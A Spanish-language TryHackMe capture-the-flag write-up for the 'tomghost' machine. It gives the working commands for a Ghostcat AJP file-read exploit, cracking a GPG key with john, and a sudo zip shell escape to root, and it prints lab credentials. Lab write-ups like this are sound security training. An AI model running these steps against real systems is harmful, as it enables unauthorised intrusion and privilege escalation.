> For the complete documentation index, see [llms.txt](https://enciall.gitbook.io/enciall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://enciall.gitbook.io/enciall/ctf/try-hack-me/tomghost.md).

# tomghost

| Campo                 | Detalle                           |
| --------------------- | --------------------------------- |
| Nombre de la máquina: | tomghost                          |
| Dificultad:           | Facil                             |
| Plataforma:           | <https://tryhackme.com/>          |
| Creador:              | <https://tryhackme.com/p/stuxnet> |

### Iniciamos con un escaneo rápido para identificar los puertos abiertos:

```
nmap -p- --open -sS -sC -sV --min-rate 5000 -n -Pn $IP
```

```
# Nmap 7.95 scan initiated Sun May  4 19:26:41 2025 as: 
# /usr/lib/nmap/nmap -p- --open -sS -sC -sV --min-rate 5000 -n -Pn -oN scan.txt 10.10.206.238

Nmap scan report for 10.10.206.238
Host is up (0.19s latency).
Not shown: 60,267 closed tcp ports (reset), 5,264 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256  dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256  48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)

53/tcp   open  tcpwrapped

8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
|_ ajp-methods: Supported methods: GET HEAD POST OPTIONS

8080/tcp open  http       Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 19:27:16 2025 -- 1 IP address (1 host up) scanned in 35.36 seconds

```

vemos que esta el puerto 8009 (AJP13) esta abierto y ese puerto tiene una vulnerabilidad pero como el exploit lo escribieron con la pinga tenemos que cambiar ciertas cosas te dejo el link del exploit sus cambios y su funcionamiento:

{% embed url="<https://www.exploit-db.com/exploits/48143>" %}

una vez descargado en la linea 262 intercambia:

```python
self.stream = self.socket.makefile("rb", bufsize=0)
```

por:

```python
self.stream = self.socket.makefile("rb", buffering=0)
```

tambien en la linea 302 intercambia:

```python
print("".join([d.data for d in data]))
```

por:

```python
print("".join([d.data.decode('utf-8', errors='ignore') for d in data]))
```

una vez corregido el exploit lo ejecutamos asi:

```
python3 48143.py IP_OBJETIVO -p 8009 -f WEB-INF/web.xml
```

<figure><img src="/files/3RTjY3mJYxyG21weDZfJ" alt=""><figcaption></figcaption></figure>

vemos unas credenciales:

```
skyfuck:8730281lkjlkjdqlksalks
```

probamos las credenciales en ssh:

<figure><img src="/files/jMWc5BWugP9do4r14LRK" alt=""><figcaption></figcaption></figure>

vemos dos archivos interesantes **credential.pgp** y **tryhackme.asc** que son dos archivos cifrados montamos un servidor con python para descargar esos archivos&#x20;

```
python3 -m http.server 8000
```

una vez descargados hacemos

```
gpg2john tryhackme.asc > hash.txt
```

para obtener un hash del archivo y ahora vamos a hacerle fuerza bruta al hash:

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

una vez crackeada nos dara una palabra ahora vemos el contenido de credential.pgp

```
gpg -d credential.pgp
```

nos pedira la palabra secreta la ponermos y ahora vemos el contenido vemos un usuario y una contraseña&#x20;

<figure><img src="/files/WUV8uwYYO7cP6pNp9PeH" alt=""><figcaption></figcaption></figure>

iniciamos sesion en ssh con el usuario ponemos la contraseña la flag de user esta en /home/merline y despues hacemos sudo -l y vemos que podemos ejecutar con permisos de root el binario de zip asi que elevaremos privilegios con esto

```
sudo zip exploit.zip /tmp -T --unzip-command="sh -c /bin/sh"
```

y seremos root la flag de root esta en /root

<figure><img src="/files/accb4HCG3ooydABayxcE" alt=""><figcaption></figcaption></figure>
